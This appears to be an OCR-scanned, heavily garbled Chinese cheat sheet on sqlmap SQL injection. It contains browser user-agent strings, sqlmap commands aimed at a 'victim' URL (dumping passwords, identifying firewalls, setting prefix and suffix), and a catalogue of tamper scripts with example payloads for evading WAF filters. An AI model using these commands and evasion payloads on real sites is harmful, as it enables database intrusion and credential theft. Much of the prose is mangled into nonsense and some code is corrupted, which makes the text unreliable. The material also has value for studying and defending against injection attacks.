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PC im


http://www.zytrax.com/tech/web/mobile_ids.html

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/58.0.3029.110 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0

Filim

iPhone:

Mozilla/5.0 (iPhone; U; CPU iPhone OS 3 0 like Mac OS X; en-us)
AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341
Safari/528.16

Mozilla/5.0 (iPhone; CPU iPhone OS 10 2 1 like Mac OS X) AppleWebKit/602.4.6
(KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1

Mozilla/5.0 (iPhone; CPU iPhone OS 10 2 1 like Mac OS X; zh-CN)
AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/14D27
UCBrowser/11.6.1.1003 Mobile AliApp(TUnionSDK/0.1.20)

Android:

Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91)
AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
BEEI N95:

Mozilla/5.0 (Symbian0S/9.2; U; Series60/3.1 NokiaN95/30.0.015; Profile MIDP-
2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413
EEIT N97:

Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-
2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko)
BrowserNG/7.1.18124
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2% --passwords
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Boolean-based blind SQL injection (Afi/RIIEN)
Error-based SQL injection (IRAHHIEN)

UNION query SQL injection CHJHE&ETIMVEN)
Stacked queries SQL injection (AJZiEA)AH#IEN)
Time-based blind SQL injection (J&J-If[a)ZEIRVEND
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MREERREA, ERIERIAEE.
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ERLIRES, FEMEIND payload MRTHSEGEM—LFR, RIFIE payload RIIERH,
17,

Bian, AR RIX R FEUERRT:

$query = "SELECT * FROM users WHERE id=(" ".$ GET[' id" 1." )LIMITO, 1"
SESRERTEE --prefix 7] --suffix S¥7 :

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str brackets.php?
id=1" -p id --prefix " )" --suffix "AND (' abc’ =" abc"

XEEHATHY SQL IBEERL:



$query = "SELECT * FROM users WHERE id=(" 1" ) <PAYLOAD> AND
(' abc’” =" abc’ )LIMITO, 17
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python sqlmap.py -u “http://www.victim.org/ex.php?id=1" --identify-waf
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sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 -dbms “MySQL” --technique U -p id --batch --tamper
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S—LERMAX, siENSEXEERRH, AEINFAIEENE,

space2hash.py

N FBF mysql EiERE

SR = BRESEERS (1), (- ) BEREFSIER, BNFERRTA
* Input: 'T AND 9227=9227"

* Output: '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227"

space2morehash.py

RFBTF mysql #dEREE

TIEERA #5 LR B SR FRF R TR

* Input: T AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWTcVRPV%0A9227=9227

SCfr b EERANMIARNEENR, HESETEBIRRMENFRT, RESRSHEER


javascript:void(0);

space2mysqlblank.py
RIFRF mysql #dEE
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* Input: SELECT id FROM users

* Output: SELECT%0Bid%0BFROM%A0users

space2mssqlblank.py
RN AT mssql HuERE
TIEREEANEEEHS

* Input: SELECT id FROM users

* Output: SELECT%08id%02FROM%0Fusers

charencode.py
url 4wtg
* Input: SELECT FIELD FROM%20TABLE

* Qutput:
%53%45%4C%45%43%54%20%46 %49 %45 %4 %44%20%46 %52 %4f%4d%20%54 %41 %
42%4c%45



chardoubleencode.py
T url w75 (RALERLAGRASA)

* Input: SELECT FIELD FROM%20TABLE

* Qutput:
%2553%2545%254¢c%2545%2543%2554%2520%2546%2549%2545%254¢c%2544%2520
%2546%2552%254f%254d%2520%2554%2541%2542%254¢c%2545

TERMINR web N FEER asp/asp.net Fx

charunicodeencode.py
ZFRTER unicode A
* Input: SELECT FIELD%20FROM TABLE

* Output:
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004
c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u00
4c%u0045

BEREBRIR, asp RITFEFRZEERZA % SiEkg, il AND 1=%%%%%%%%1 2&j
89

percentage.py

asp SFFENFRRIEMI—D % S



* Input: SELECT FIELD FROM TABLE
* Output: %S%EWLIBEY%CKHT %F%l%EX%LY%D %F%R%O%M %T%A%B%L%E

— L H AR A

between.py
A between BATS (>)
* Input: ("1 AND A> B--")

* Output: 'T AND A NOT BETWEEN 0 AND B--

unmagicquotes.py
BFRFELT GPC addslashes

*Input: 1" AND 1=1

* Output: 1%bf%27 AND 1=1-%20

versionedmorekeywords.py
iR

* Input: 1 UNION ALL SELECT NULL, NULL,
CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,115,114,121,58))#



* Qutput:
1/*TUNION**IALL**ISELECT**INULL*/,/*INULL*/,/*ICONCAT*/(/*!CHAR*/(58,122,114,115,

58),/*IIFNULL*/(CAST(/*ICURRENT USER*/()/*IAS**ICHAR*/),/*ICHAR*/(32)),/*|CHAR*/(5
8,115,114,121,58))#
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